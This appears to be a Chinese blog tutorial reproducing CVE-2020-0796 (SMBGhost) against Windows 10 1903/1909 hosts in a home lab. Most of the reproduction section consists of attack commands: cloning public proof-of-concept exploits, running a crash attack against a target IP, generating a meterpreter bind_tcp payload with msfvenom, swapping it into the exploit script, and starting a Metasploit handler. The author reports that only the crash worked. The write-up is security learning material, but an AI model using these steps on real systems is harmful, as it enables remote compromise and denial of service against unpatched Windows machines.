天天看点

永恒之黑(CVE-2020-0796 微软SMBv3协议远程代码执行漏洞)

文章目录

      • 一、漏洞简介:
      • 二、影响版本:
      • 三、实验环境:
      • 四、漏洞复现
        • 1.下载CVE-2020-0796漏洞扫描工具,对网段进行扫描
        • 2.蓝屏复现
        • 3.远程执行复现

一、漏洞简介:

3月12日,微软更新安全通告针对Windows SMBv3客户端/服务器远程代码执行漏洞紧急发布了安全补丁,确定该漏洞编号为CVE-2020-0796。

Microsoft Server Message Block 3.1.1(SMBv3)协议在处理某些请求的方式中存在代码执行漏洞。攻击者可以精心构造数据包发送到SMB服务器,无需经过身份验证,即可在目标服务器上执行任意代码。攻击者可通过部署一台恶意SMB v3服务器,并诱导用户(客户端)连接到该服务器,一旦目标用户连接,即可在计算机上执行攻击者自定义的恶意代码。

由于上述漏洞易被蠕虫利用传播恶意程序,推测可能在未来会成为恶意软件和攻击者广泛利用的漏洞,与WannaCry(2017年5月“永恒之蓝”)漏洞较为相似。目前漏洞细节已公开,请相关用户安装补丁进行防护。

二、影响版本:

该漏洞存在于 Windows 10 版本 1903 中添加的一项新功能中。Windows 的早期版本不支持 SMBv3.1.1 压缩并且不受影响。

  • Windows 10 Version 1903 for 32-bit Systems
  • Windows 10 Version 1903 for ARM64-based Systems
  • Windows 10 Version 1903 for x64-based Systems
  • Windows 10 Version 1909 for 32-bit Systems
  • Windows 10 Version 1909 for ARM64-based Systems
  • Windows 10 Version 1909 for x64-based Systems
  • Windows Server, version 1903 (Server Core installation)
  • Windows Server, version 1909 (Server Core installation)

三、实验环境:

靶机:192.168.159.129(Windows10 1903)

靶机:192.168.159.130(Windows10 1909)2020.1月更新的版本

攻击机:192.168.159.131(kali 2021-05-31)

永恒之黑(CVE-2020-0796 微软SMBv3协议远程代码执行漏洞)
永恒之黑(CVE-2020-0796 微软SMBv3协议远程代码执行漏洞)
永恒之黑(CVE-2020-0796 微软SMBv3协议远程代码执行漏洞)

四、漏洞复现

1.下载CVE-2020-0796漏洞扫描工具,对网段进行扫描

下载链接:http://dl.qianxin.com/skylar6/CVE-2020-0796-Scanner.zip
永恒之黑(CVE-2020-0796 微软SMBv3协议远程代码执行漏洞)

2.蓝屏复现

下载蓝屏POC
git clone https://github.com/eerykitty/CVE-2020-0796-PoC.git
安装POC
python3 setup.py install
进行攻击
python3 CVE-2020-0796.py 192.168.159.130
           
永恒之黑(CVE-2020-0796 微软SMBv3协议远程代码执行漏洞)
永恒之黑(CVE-2020-0796 微软SMBv3协议远程代码执行漏洞)
永恒之黑(CVE-2020-0796 微软SMBv3协议远程代码执行漏洞)

3.远程执行复现

下载安装exp
git clone https://github.com/root-tools/SMBGhost_RCE_PoC

生成payload
msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=5555 -b '\x00' -f python > exploit
		-p 指定 payload LPORT 目标主机执行程序后打开的侦听端口 
		-b 去掉坏字符,坏字符会影响 payload 正常执行。 
		> exploit 将生成的 payload 代码保存到文件 exploit 中 
		\x00 代表16进制的“00”组成的字符串。通过ASCII码换成能识别的就是:"00" - "00000000"- NUL。由于"00000000"是不可见字符,所以代码中没用。
           
永恒之黑(CVE-2020-0796 微软SMBv3协议远程代码执行漏洞)
永恒之黑(CVE-2020-0796 微软SMBv3协议远程代码执行漏洞)
把参数

buf

改为

USER_PAYLOAD

替换

exploit.py

里的代码
永恒之黑(CVE-2020-0796 微软SMBv3协议远程代码执行漏洞)
永恒之黑(CVE-2020-0796 微软SMBv3协议远程代码执行漏洞)
执行替换后的exp
python3 exploit.py -ip 192.168.159.130
           
永恒之黑(CVE-2020-0796 微软SMBv3协议远程代码执行漏洞)
启动msf监听
msf6 > use exploit/multi/handler 
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/bind_tcp
msf6 exploit(multi/handler) > set RHOST 192.168.159.130
msf6 exploit(multi/handler) > exploit 
           

不过,我在这里没做出来。。。无论怎么搞都是只能蓝屏不能反弹shell,懵逼ing🤾‍♀

最终效果图:

永恒之黑(CVE-2020-0796 微软SMBv3协议远程代码执行漏洞)

继续阅读